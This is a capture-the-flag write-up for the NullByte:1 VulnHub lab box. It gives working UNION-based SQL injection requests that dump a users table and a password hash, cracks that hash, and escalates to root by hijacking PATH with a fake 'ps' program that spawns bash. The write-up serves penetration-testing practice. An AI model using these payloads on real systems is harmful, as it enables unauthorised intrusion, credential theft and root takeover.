Objetcive: Get to /root/proof.txt and follow the instructions.
Level: Basic to intermediate.
Description: Boot2root, box will get IP from dhcp, works fine with virtualbox&vmware.
Hints: Use your lateral thinking skills, maybe you’ll need to write some code.

This box is on the NetSecFocus Admin list of OSCP-like machines. It’s NULLBYTE: 1 from vulnhub.


This box has:

  1. a filtered SSH port on 22,
  2. an open SSH port on 777,
  3. rpcbind on 111 and 53303, and
  4. Apache on Port 80


Gobuster on the root of the webserver reveals a few potentially interesting things in phpmyadmin and uploads, but we have no creds for phpMyAdmin and no directory listing for uploads. Fuzzing for content in uploads turns up nothing.

The front page of the webserver has a GIF image and some slightly cryptic text:

If you search for the laws of harmony, you will find knowledge.

We can download the GIF from the page and check with exiftools to find this:

Comment : P-): kzMb5nVYJw

This is a subdirectory.


At we find a box in which we can enter a ‘key’. The page source offers a hint:

this form isn’t connected to mysql, password ain’t that complex

I attacked it with Burp Turbo Intruder, and found the key was elite.

Entering the key takes us to a page where we can search for usernames, i.e.

I threw this request at SQLMap and was able to dump out two usernames, and a password hash for one of them:



The hash is base64 encoded, but we can decode it - it then is revealed to be an MD5. John can take care of the decoded hash:

root@kali:/opt/vulnhub/nullbyte# john md5.txt --format=Raw-MD5 -w=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
omega            (?)
1g 0:00:00:00 DONE (2020-10-16 11:26) 100.0g/s 1152Kp/s 1152Kc/s 1152KC/s vainilla..silencio
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed


Now we can SSH in as ramses. Poking around, we can find an SUID binary called procwatch in /var/www/backup along with a note saying:

I have to fix this mess…

I copy the binary to my own box with scp and then decompile it in Ghidra. The decompiled main function looks like this:

undefined4 main(void)
  undefined2 local_42;
  undefined local_40;
  undefined *local_c;
  local_c = &stack0x00000004;
  local_42 = 0x7370;
  local_40 = 0;
  system((char *)&local_42);
  return 0;

0x7370 is ps. So it appears this binary (running as root) is calling ps, without specifying the path. Whoops.


Here’s my new file ps.c:

#include <unistd.h>
int main(void)
  system ("/bin/bash");

We’ll compile it:

ramses@NullByte:/var/www/backup$ gcc ps.c -o ps

And add our pwd to our path:

ramses@NullByte:/var/www/backup$ export PATH=/var/www/backup:$PATH

Now let’s see:

ramses@NullByte:/var/www/backup$ ./procwatch 
root@NullByte:/var/www/backup# whoami

root@NullByte:/root# cat proof.txt 

It seems that you have pwned the box, congrats.

Great, job done. Or, perhaps not quite.


This obviously wasn’t done for the OSCP but they don’t let you use SQLMap I don’t think, so let’s go back and do the SQLi manually.


To start the process we can fuzz the usrtosearch parameter with Burp Intruder:

GET /kzMb5nVYJw/420search.php?usrtosearch=§admin§ HTTP/1.1

I used the following list from PayloadsAllTheThings:



” gives this message:

Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%”’ at line 1

and # gives all of the data about the users:

EMP NAME : ramses
EMP NAME : isis
EMP POSITION : employee
Fetched data successfully

and we can clearly see there are three fields returned.

So at this point we know we have MySQL with three fields.

Field Count

In case we wanted to check, we could do:

GET /kzMb5nVYJw/420search.php?usrtosearch=admin1”+ORDER+BY+1%23 HTTP/1.1

Where we increment the ‘1’. When we get to 4, we get the following error:

Could not get data: Unknown column ‘4’ in ‘order clause’

So this also confirms we have 3 fields.


We can use the following commands to get the database names, tables, fields and finally data. I also extract the MySQL version information with @@version:

Getting the database names

GET /kzMb5nVYJw/420search.php?usrtosearch=admin"+UNION+ALL+SELECT+NULL,@@version,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata%23 HTTP/1.1

EMP ID :  <br> EMP NAME : 5.5.44-0+deb8u1 <br> EMP POSITION : |information_schema|,|mysql|,|performance_schema|,|phpmyadmin|,|seth| <br> --------------------------------<br>Fetched data successfully

Getting the table names from seth

GET /kzMb5nVYJw/420search.php?usrtosearch=admin"+UNION+ALL+SELECT+NULL,@@version,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema='seth'%23 HTTP/1.1

EMP ID :  <br> EMP NAME : 5.5.44-0+deb8u1 <br> EMP POSITION : |users| <br> --------------------------------<br>Fetched data successfully

Getting the columns from users

GET /kzMb5nVYJw/420search.php?usrtosearch=admin"+UNION+ALL+SELECT+NULL,@@version,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name='users'%23 HTTP/1.1

EMP ID :  <br> EMP NAME : 5.5.44-0+deb8u1 <br> EMP POSITION : |id|,|user|,|pass|,|position| <br> --------------------------------<br>

Getting the data from user and pass

GET /kzMb5nVYJw/420search.php?usrtosearch=admin"+UNION+ALL+SELECT+NULL,@@version,gRoUp_cOncaT(0x7c,user,0x7C,pass,0x7C)+fRoM+seth.users%23 HTTP/1.1

EMP ID :  <br> EMP NAME : 5.5.44-0+deb8u1 <br> EMP POSITION : |ramses|YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE|,|isis|--not allowed--| <br> --------------------------------<br>

Now we have the hash manually, no SQLMap required.

Nice box, thanks ly0n